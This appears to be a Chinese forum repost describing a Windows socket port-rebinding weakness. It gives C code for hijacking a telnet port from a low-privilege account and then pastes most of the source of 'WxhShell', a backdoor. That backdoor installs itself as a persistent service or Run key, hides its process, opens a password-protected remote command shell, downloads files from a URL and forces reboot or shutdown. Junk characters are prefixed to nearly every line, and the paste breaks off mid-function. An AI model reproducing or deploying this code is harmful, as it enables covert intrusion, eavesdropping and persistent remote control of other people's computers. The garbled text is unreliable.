在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
boGdZ2$h4 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
*X/Vt$P Sx'oa$J saddr.sin_family = AF_INET;
t;6<k7h q+9->D(6 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
BVNJas v_EgY2l( bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
IDT\hTPIs ?'+]d;UO& 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
cZ|*Zpk RQ=$,
i` 这意味着什么?意味着可以进行如下的攻击:
zKGZg>q yuBRYy#E|% 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
F:T(-, Rw{'
O]Q* 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
-0kMh.JYR $<nRW*d 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
or3OLBf* Q '`2'<^yO 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
:_6o|9J\t ,"is%O. 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
kC%H E wGNEb 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
* @]wT' <efO+X! 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
9 da=q (WC
=om #include
[mu8V+8@d4 #include
#$xtUCqX #include
slPr^) #include
Gg9s.]W DWORD WINAPI ClientThread(LPVOID lpParam);
P|@[D=y int main()
}6\,kFc {
?V8Fgd WORD wVersionRequested;
XXum2eA DWORD ret;
4"kc(J`c WSADATA wsaData;
t2)uJN`a$X BOOL val;
f?tU5EX SOCKADDR_IN saddr;
Rf8Obk< SOCKADDR_IN scaddr;
9)v]jk int err;
v)_c*+6u SOCKET s;
jn|NrvrX SOCKET sc;
GqL&hbpi int caddsize;
5@%Gq)z5 HANDLE mt;
\ YF@r7 DWORD tid;
4;J.$ wVersionRequested = MAKEWORD( 2, 2 );
>~Zj err = WSAStartup( wVersionRequested, &wsaData );
X}(X\rp if ( err != 0 ) {
[-VH%OM printf("error!WSAStartup failed!\n");
j!i*& return -1;
8xAI n>,_ }
oQ
r.cKD ? saddr.sin_family = AF_INET;
STjb2t,a %C,zR&]F //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
J{dO0!7y
Yc]k<tQ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
4)tY6ds)r| saddr.sin_port = htons(23);
Jw}t~m3 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
[;,E cw^ {
fVgK6?<8^ printf("error!socket failed!\n");
}Y.YJXum return -1;
T90O.]S }
*W\ 3cS val = TRUE;
qfl!>
//SO_REUSEADDR选项就是可以实现端口重绑定的
KJoa^e;~ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
}||p#R@? {
@NA+Ma{N printf("error!setsockopt failed!\n");
^UKY1Q. return -1;
C;HEvq7 }
$7Hwu^c( //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
e8 ]CB //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
F]6G<6T[ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
#M!$CGi ( jy.L/s if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
'XKfKv >; {
A"M;kzAfHM ret=GetLastError();
z_xy*Iif printf("error!bind failed!\n");
9_5>MmiB return -1;
6jc5B# }
b}Gm{;s! listen(s,2);
L]z8'n, while(1)
1$E [`` n {
/]z#V' caddsize = sizeof(scaddr);
Fz(;Eo3 //接受连接请求
N\ Mdia sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
4h!yh2c.. if(sc!=INVALID_SOCKET)
u;nn:K1QFr {
n$SL"iezW? mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
bS8$[7OhX if(mt==NULL)
7=fNvES2 {
xI?'Nh printf("Thread Creat Failed!\n");
9?ll(5E break;
A]0R?N9wb_ }
|+Rx) }
v1yB CloseHandle(mt);
[C4{C4TX }
q[qX O5 closesocket(s);
8BAe6-*S8 WSACleanup();
s-Gd{=%/q return 0;
;q9Y%* }
{=
&&J@: DWORD WINAPI ClientThread(LPVOID lpParam)
-FZNk} {
1VFCK& SOCKET ss = (SOCKET)lpParam;
#]c_2V SOCKET sc;
F-:AT$Ok unsigned char buf[4096];
`$1A;wg< SOCKADDR_IN saddr;
TxQsi"0c long num;
SHPDbBS DWORD val;
X1B)(|7$ DWORD ret;
(G+)v[f //如果是隐藏端口应用的话,可以在此处加一些判断
:^?-bppYW //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
tE-bHu370 saddr.sin_family = AF_INET;
]#shuZ##>0 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
\kyoA
Z saddr.sin_port = htons(23);
2<J2#}+\ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
$ bMmyDw {
dRzeHuF92 printf("error!socket failed!\n");
SbUac< return -1;
sqhIKw@ }
63\
CE_p val = 100;
j-J/yhWO& if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
[g"nu0sOK {
z [[qrR ret = GetLastError();
)
4t%?wT return -1;
#s\yO~F- }
`dX0F=Ag? if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
6rE8P# {
TW 1`{SM ret = GetLastError();
3<)][<Ud return -1;
9wfE^E1 }
?Mo)&,__ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
= =pQ
V[ {
)g8Kicox5 printf("error!socket connect failed!\n");
$HOe){G closesocket(sc);
Q$p3cepsK closesocket(ss);
;8MQ'# return -1;
)Dhx6xM[a }
:_HdOm while(1)
=YO<.(Lu {
NoF|j57?u' //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
B)DuikV.D //如果是嗅探内容的话,可以再此处进行内容分析和记录
_8PNMbv{ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
um/F:rp num = recv(ss,buf,4096,0);
FU*q9s ` if(num>0)
fS'` 9 send(sc,buf,num,0);
?vWF[ DRd' else if(num==0)
*=O3kUoL break;
{C]tS5$Z num = recv(sc,buf,4096,0);
_Hx'<%hhI if(num>0)
TEer>gD:v send(ss,buf,num,0);
G,WLca[ else if(num==0)
]!"7k_ break;
>@G"*le*) }
)j}#6r closesocket(ss);
)JyB closesocket(sc);
LrdED[Z return 0 ;
@6!Myez' }
ryzNM3 iSOyp\E| _XT; ==========================================================
Uv<nJM 4,YL15. 下边附上一个代码,,WXhSHELL
R $dNdd9m *e:I*L ==========================================================
Fku<|1}&y 7N OF^/nU #include "stdafx.h"
/i_FA]Go qM3NQ8Rm #include <stdio.h>
b$
8R #include <string.h>
W%&s$b( #include <windows.h>
?%ltoezf #include <winsock2.h>
-+2A@kmEJ #include <winsvc.h>
4%<wxrod #include <urlmon.h>
G[`2Nd< PD^ 6Ywn>s #pragma comment (lib, "Ws2_32.lib")
/={N^8^=x #pragma comment (lib, "urlmon.lib")
qOQ8a:]? H;AMRL o4z #define MAX_USER 100 // 最大客户端连接数
]d{lS&PRlg #define BUF_SOCK 200 // sock buffer
Wzffp}V #define KEY_BUFF 255 // 输入 buffer
"Il)_Ui i;qij[W. z #define REBOOT 0 // 重启
u+6L>7t88I #define SHUTDOWN 1 // 关机
5mL4Zq" &>Z;>6J, #define DEF_PORT 5000 // 监听端口
[\fwnS_1 E}0g #define REG_LEN 16 // 注册表键长度
1jBIi #define SVC_LEN 80 // NT服务名长度
Xyz/CZPi Zv
mkb%8 // 从dll定义API
;5T}@4m|r typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
# Rs5W typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
5K&A2zC| typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
}2c&ARQ.m> typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
mL#$8wUdt{ /c!^(5K
fT // wxhshell配置信息
noB8*n0 struct WSCFG {
0Q#}: int ws_port; // 监听端口
|{,c2Ck:N char ws_passstr[REG_LEN]; // 口令
ZifDU@J$t int ws_autoins; // 安装标记, 1=yes 0=no
z.h;}QRJ,@ char ws_regname[REG_LEN]; // 注册表键名
\j.l1O char ws_svcname[REG_LEN]; // 服务名
T.%yeJiE char ws_svcdisp[SVC_LEN]; // 服务显示名
y^Q);siSy char ws_svcdesc[SVC_LEN]; // 服务描述信息
sUiO~<Ozpk char ws_passmsg[SVC_LEN]; // 密码输入提示信息
oxnI/Z int ws_downexe; // 下载执行标记, 1=yes 0=no
+l]>(k.2 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
M,oZ_tY% char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Ui1s]R -i91nMi] };
#Lk~{ x.Ny@l%] // default Wxhshell configuration
8NNs_~+x} struct WSCFG wscfg={DEF_PORT,
;V f{3 "xuhuanlingzhe",
5vS[{;<& 1,
tU!Yg"4Q "Wxhshell",
8B!QqLqK "Wxhshell",
MlS5/9m@^ "WxhShell Service",
@1bl<27 "Wrsky Windows CmdShell Service",
G%!i="/9 "Please Input Your Password: ",
@li/Y6Wh 1,
R7h3O0@! "
http://www.wrsky.com/wxhshell.exe",
"HH<5M "Wxhshell.exe"
!`W0;0'Zg };
c|k(_#\B Ff
=%eg] // 消息定义模块
VKlC`k8L char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
]vV)$xMX char *msg_ws_prompt="\n\r? for help\n\r#>";
nq+6ipx char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
oS Ybx:2wo char *msg_ws_ext="\n\rExit.";
MIiBNNURX char *msg_ws_end="\n\rQuit.";
mxpw4 char *msg_ws_boot="\n\rReboot...";
+nB0O/m'U char *msg_ws_poff="\n\rShutdown...";
^;[_CF_ char *msg_ws_down="\n\rSave to ";
s bR*[2 sint":1FC char *msg_ws_err="\n\rErr!";
NMC0y|G char *msg_ws_ok="\n\rOK!";
eQ6wEeB9 )
jM-5}" char ExeFile[MAX_PATH];
6iHY{WcDj int nUser = 0;
-Oz! GX HANDLE handles[MAX_USER];
>'WTVj ` int OsIsNt;
xwHE,ykE c7WOcy@M SERVICE_STATUS serviceStatus;
,":_CY4( SERVICE_STATUS_HANDLE hServiceStatusHandle;
'*@=SM #i*PwgC%_ // 函数声明
\O,yWyU4 int Install(void);
Z0XQ|gkH int Uninstall(void);
Tks1gN^^ int DownloadFile(char *sURL, SOCKET wsh);
nKEw$~F int Boot(int flag);
+9yMtR void HideProc(void);
&5B/>ag1! int GetOsVer(void);
B|M@o^Tf int Wxhshell(SOCKET wsl);
\CS4aIp void TalkWithClient(void *cs);
j+gh*\:q int CmdShell(SOCKET sock);
S+^hK1jL int StartFromService(void);
m*i,|{UZ int StartWxhshell(LPSTR lpCmdLine);
Imclz4'8 &h7
n>q VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
b+f
' VOID WINAPI NTServiceHandler( DWORD fdwControl );
q& KNK 1>2
/1> // 数据结构和表定义
yOP$~L#TWs SERVICE_TABLE_ENTRY DispatchTable[] =
0&\71txrzg {
a^[s[j#^, {wscfg.ws_svcname, NTServiceMain},
h\~!!F {NULL, NULL}
+;oR_]l };
}6{00er 8f%OPcr& // 自我安装
WOeLn[ int Install(void)
1L?W+zMO {
Xw|-v$'y char svExeFile[MAX_PATH];
#i.BOQxS HKEY key;
gt~u/Z% strcpy(svExeFile,ExeFile);
pQ4HX)<P ~[BGKqh // 如果是win9x系统,修改注册表设为自启动
PB BJ.!Pb if(!OsIsNt) {
CU*;>h1~u if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
} ,Dk6w$ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
`@u9 fx. RegCloseKey(key);
n%02,pC6, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
N1x~-2( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
i 2[8^o`_ RegCloseKey(key);
,&* BhUC return 0;
YOvhMi }
2jkma :$' }
a`eb9o# }
Bw[#,_ else {
zQu9LN 4TiHh // 如果是NT以上系统,安装为系统服务
]ZI@?H?
O SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
)g]A
'A= if (schSCManager!=0)
V<PH5'^$j {
j*GS')Cm SC_HANDLE schService = CreateService
>dwWqcP (
Lso%1M schSCManager,
mW,b#'hy wscfg.ws_svcname,
Aq>?G+ wscfg.ws_svcdisp,
/h]ru SI SERVICE_ALL_ACCESS,
iorQ/( SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
<KoOJMx( SERVICE_AUTO_START,
[W3sveqj& SERVICE_ERROR_NORMAL,
e$rPXRf svExeFile,
T+%P+ NULL,
#)S&Z><< NULL,
7lwFxP5QT NULL,
) <w`:wD NULL,
U5?QneK NULL
t23W=U );
^L.'At if (schService!=0)
cveQ6
-`K {
*Aug7
HlS CloseServiceHandle(schService);
p^ OHLT CloseServiceHandle(schSCManager);
N'pYz0_H strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
+4[9Eb'k= strcat(svExeFile,wscfg.ws_svcname);
]-;JHB5A_: if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
zq3f@xOK RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
pXA|'U5] RegCloseKey(key);
$uRi/%Q9 return 0;
$}us+hGZ }
-<" ;|v4 }
#|=lU4Bf CloseServiceHandle(schSCManager);
'S&Zq: }
{*
w _* }
~HKzqGQy> %8YUK/(|n return 1;
'0I> }
um( xZ6&m Q`-Xx // 自我卸载
:C={Z}t/F int Uninstall(void)
B9c
gVTLj {
~JS@$ # HKEY key;
/o}i,i$ ^^a%Lz)U if(!OsIsNt) {
>8$Lqj^i if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
::cI4D RegDeleteValue(key,wscfg.ws_regname);
L{&Yh|} RegCloseKey(key);
>>8{N)c5E if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Tv~Ho&LS RegDeleteValue(key,wscfg.ws_regname);
^D ;EbR RegCloseKey(key);
9}a&:QTHR return 0;
M+lr [,c }
K7i@7 }
2dbn~j0 }
J
L1]auO* else {
Gj[5ew?@ k_gl$`A SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
79h'sp6; if (schSCManager!=0)
[N"=rY4G {
ph%t
#R SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
M.EL^;r if (schService!=0)
nD!t*P {
[b~+VeP+p4 if(DeleteService(schService)!=0) {
8cURYg6v CloseServiceHandle(schService);
]A1'+!1$ CloseServiceHandle(schSCManager);
u4 ~.[3E* return 0;
kD)]\ }
)Z\Zw~L CloseServiceHandle(schService);
/2tPd }
J?hs\nA CloseServiceHandle(schSCManager);
VS_I'SPPIc }
s
E;2;2u" }
]AN%#1++U X[SIk%{D return 1;
d-8{}Q }
E#!.;AQ &(|Ot`el]v // 从指定url下载文件
]c6h'} int DownloadFile(char *sURL, SOCKET wsh)
10N0?K" {
Oa M~rze HRESULT hr;
O]61guxro char seps[]= "/";
'#Do( U' char *token;
:0bjPQj char *file;
z$M-UxY char myURL[MAX_PATH];
9eR";Wm]) char myFILE[MAX_PATH];
'rVB2
`z- )XoMOz strcpy(myURL,sURL);
k3]qpWKj token=strtok(myURL,seps);
Q"3gvIyc while(token!=NULL)
HLL=.: P {
pkTVQdtRG file=token;
b%d, X-3 token=strtok(NULL,seps);
`v'yGsIV }
5Y@Hb!5D O]@s`w GetCurrentDirectory(MAX_PATH,myFILE);
IfY?P(P strcat(myFILE, "\\");
]c]^(C strcat(myFILE, file);
3/]~#y%2 send(wsh,myFILE,strlen(myFILE),0);
_p^Wc.[~M send(wsh,"...",3,0);
_!w69>Nj hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
9Q7342 if(hr==S_OK)
Zvra > % return 0;
xP27j_*m> else
$-s8tc( return 1;
/wkrfYRs MIN}5kc< }
O:imX>|u a^Q
?K\c4N // 系统电源模块
.*z$vl int Boot(int flag)
/fU-0a8 {
|C0!mU HANDLE hToken;
bik lja TOKEN_PRIVILEGES tkp;
aadw#90 aNwx~t]G if(OsIsNt) {
UXwI?2L OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
@3~Wukc LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
6^2='y~e tkp.PrivilegeCount = 1;
46B'Ec tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Q:'r
p AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
F'JT7#eX if(flag==REBOOT) {
H wz$zF+R if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
8>xd return 0;
/)?qD }
?D(aky#cyc else {
`B$Pk0>5r if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
C 7YS>?^] return 0;
|qU~({=b }
0WyOORuK }
u<+"#.[2v~ else {
7loWqZ if(flag==REBOOT) {
V6k Dyl( if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
ID<[=es6 return 0;
z.OJ1vY7 }
?JW/Stua else {
w$""])o, if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
$4^h>x return 0;
\XfLTv }
c6iFha;db }
^g.HJQ'vF [@]i_L[ return 1;
L=WKqRa>4 }
qc a=a} Pu 'NSNT // win9x进程隐藏模块
K@{R?j/+ void HideProc(void)
xqauSW {
(UTA3Db WmRu3O HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
IGlM}
?x if ( hKernel != NULL )
-U\s.FI.AR {
EoS6t pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
R3.8Dr0f ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
42:,*4t( FreeLibrary(hKernel);
RVF<l?EI4R }
6_:KFqc W w{4#Q[ return;
iRM ?_| }
&vfeBth ?=HoU3 // 获取操作系统版本
Qtt3;5m int GetOsVer(void)
|D[LU[<C {
Or55_E OSVERSIONINFO winfo;
E5a7p. winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
m';4`Y5- GetVersionEx(&winfo);
*Xn6yL9 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
H|'n|\{lt return 1;
Y^XZ.R else
O:8Ne*L`D return 0;
jLw|F-v-l< }
-U;=]o1 c_aj-`BKp // 客户端句柄模块
kZR(0,
W int Wxhshell(SOCKET wsl)
dl6Ju {
NL'(/|) SOCKET wsh;
{s=c!08= struct sockaddr_in client;
^S(QvoaQ DWORD myID;
A-h[vP!v| .}E@7^X while(nUser<MAX_USER)
:W+%jn {
>D_)z/v?" int nSize=sizeof(client);
$2a_!/ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
6zGeGW if(wsh==INVALID_SOCKET) return 1;
]H<}6}Gd 3PkU>+.6 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
08g2? 5w" if(handles[nUser]==0)
>x
]{cb/m closesocket(wsh);
U}l=1B else
at\$
IK_ nUser++;
urQ<r{$x0 }
zXkq2\GHA WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
&egP3 <X?xr f return 0;
rmdg~ }
fVi[mH0=+ MOm+t]vq1 // 关闭 socket
z9v70
q void CloseIt(SOCKET wsh)
vOl3utu7 {
.sb0|3& closesocket(wsh);
M[e^Z}w.V nUser--;
JZE<oQ_Jm ExitThread(0);
gj&5>brP }
shiw;.vR{B %H3iX^}* // 客户端请求句柄
cb/$P!j7 void TalkWithClient(void *cs)
qV-1aaA {
uX6rCokr |`+ (O SOCKET wsh=(SOCKET)cs;
lQ4$d{m` char pwd[SVC_LEN];
IiY%y:!g char cmd[KEY_BUFF];
PK&X |
h char chr[1];
7'ws: #pC int i,j;
7UUu1"|a| \vuWypo while (nUser < MAX_USER) {
.s|5AC[ q77Iq0VR if(wscfg.ws_passstr) {
Pu'lp
O if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
{yMkd4v //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
"S>VqvH3 //ZeroMemory(pwd,KEY_BUFF);
;R3o$ZlY i=0;
[I[*?9}$" while(i<SVC_LEN) {
(Sj<>xgd 2/x~w~3U // 设置超时
Z`n "}{ fd_set FdRead;
^}<]sjmk struct timeval TimeOut;
C\0,D9 FD_ZERO(&FdRead);
>}d6)s| FD_SET(wsh,&FdRead);
{
3 "jn TimeOut.tv_sec=8;
i;:}{G< TimeOut.tv_usec=0;
&7Xsn^opku int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
${97G# if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
C%/@U[; BLm}mb#/{ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
1\/~> pwd
=chr[0]; AU;Iif6
if(chr[0]==0xd || chr[0]==0xa) { V h5\'Sn
pwd=0; ler$HA%F]
break; W~s:SN
} dE3M
i++; y4H/CH$%
} upq3)t_
aaI5x
// 如果是非法用户,关闭 socket SXV2Y-
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <irr.O
} CYM>4C~>JW
+u
lxCm_lV
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %iZ~RTY6 !
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qr~zTBT]
E
P75@Yu(
while(1) { gmOP8.g
Ia:M+20n
ZeroMemory(cmd,KEY_BUFF); ho!qXS
TnuA uui*
// 自动支持客户端 telnet标准 EV;"]lC9
j=0; {9~3y2:
while(j<KEY_BUFF) { Ctk1\quz
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I~-sBMm(w
cmd[j]=chr[0]; 6~6 vwp
if(chr[0]==0xa || chr[0]==0xd) { xSq+>, b
cmd[j]=0; J~N!. i
break; MI`<U:-lP
} Ze?H
j++; }xgs]\^,73
} yXf+dMv
j3[kG#
// 下载文件 G420o}q
if(strstr(cmd,"http://")) { Q=epUHFs
send(wsh,msg_ws_down,strlen(msg_ws_down),0); uY3?(f#
if(DownloadFile(cmd,wsh)) sjHcq5#U!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q0L1!}w
else R,-DP/ (im
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _gpf9ad
} v}@Uc-(
else { HYNp vK
'"6*C*XS
switch(cmd[0]) { 8]4W@~c
=vL
>&$
// 帮助 yx7y3TSq
case '?': { QO4eDSW
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); NkAu<>
G _
break; LfvRH?<W
} `U>]*D68
// 安装 .pblI
case 'i': { cHnd
gUW]
if(Install()) ~6[3Km|2
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3X9
else /5?tXH"
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~^o YPd52*
break; m;vm7]5
} k:&B
b"
// 卸载 ]'z 5%'
case 'r': { `a@YbuLd
if(Uninstall()) ];QX&";Z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +t(Gt0+
else !{A#\~,
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Jn20^YG
break; /^`do3a}
} LXRIo2ynuw
// 显示 wxhshell 所在路径 o3le[6C/8=
case 'p': { 4v`;D,dIu
char svExeFile[MAX_PATH]; )\{]4[9N
strcpy(svExeFile,"\n\r"); `Zci<
strcat(svExeFile,ExeFile); Qo80u?*
send(wsh,svExeFile,strlen(svExeFile),0); C0&ZQvvy1:
break; Z|d+1i
} #_: %Yd
// 重启 A!a.,{fZ
case 'b': { yz%o?%@
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Yb'%J@T}
if(Boot(REBOOT)) '.I0n
send(wsh,msg_ws_err,strlen(msg_ws_err),0); t;t;+M|W
else { QL-E4]
closesocket(wsh); [`1@`5SL-
ExitThread(0); \CYKj_c
} &p55Cg@e)
break; y!~ }7=
} (^~~&/U_U$
// 关机 +y 48.5
case 'd': { mS+sh'VH
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ZD<e$PxxCd
if(Boot(SHUTDOWN)) O
2+taB
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3WPZZN<K9
else { /WI H#M
closesocket(wsh); {7EpljH@
ExitThread(0); w%%*3[--X
} J #;|P-pt
break; H9[0-Ur5
} w|-m*v
.
// 获取shell 4@Bl 1b[<
case 's': { Q|7m9~
CmdShell(wsh); )p{,5"0u
closesocket(wsh); p }3$7CR/
ExitThread(0); R^yh,
break; 43!E> mq
} UDlM?r:f
// 退出 (b7',:_U7
case 'x': { iz27yXHZ~
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ziv*4
CloseIt(wsh); e8k|%m<Sp
break; PD-*rG `
} 9{-H/YS\_s
// 离开 ~b6c:db3
case 'q': { ].@8/. rg
send(wsh,msg_ws_end,strlen(msg_ws_end),0); aoGns46Y
closesocket(wsh); <}}u'5;^?x
WSACleanup(); *d-JAE
exit(1); 4UMOC_
break; z7&m,:M
} =RHIB1
} l(8@?t^;
} #d$lN}8
{gB9EGY
// 提示信息 K#R|GEwr
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I.U=%{.
} SgQ(#y|vV
} FMT_X
HcGbe37Xq
return; ]ts^h~BZ$
} E=ObfN"ge
"!:)qVL^
// shell模块句柄 t V2o9!N4
int CmdShell(SOCKET sock) /#[mV(k
{ NZ%v{?
STARTUPINFO si; b{.Y?.U
ZeroMemory(&si,sizeof(si)); KBgFS%-W
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2|${2u`$&y
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =0>[-:Z
PROCESS_INFORMATION ProcessInfo; |W5lhx0U
char cmdline[]="cmd"; E*L5D4Kw
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Wp^A.
return 0; af&P;#U
} v|nt(-JX
<=%G%V_s
// 自身启动模式 *`t3z-L
int StartFromService(void) )qRE['M
{ !z]{zM%
typedef struct %]o/p_<
{ *56q4\1
DWORD ExitStatus; /mK]O7O7
DWORD PebBaseAddress; &
z5:v-G?
DWORD AffinityMask; dA0o{[o=
DWORD BasePriority; %U9f`qE
ULONG UniqueProcessId; :DFtH13qO
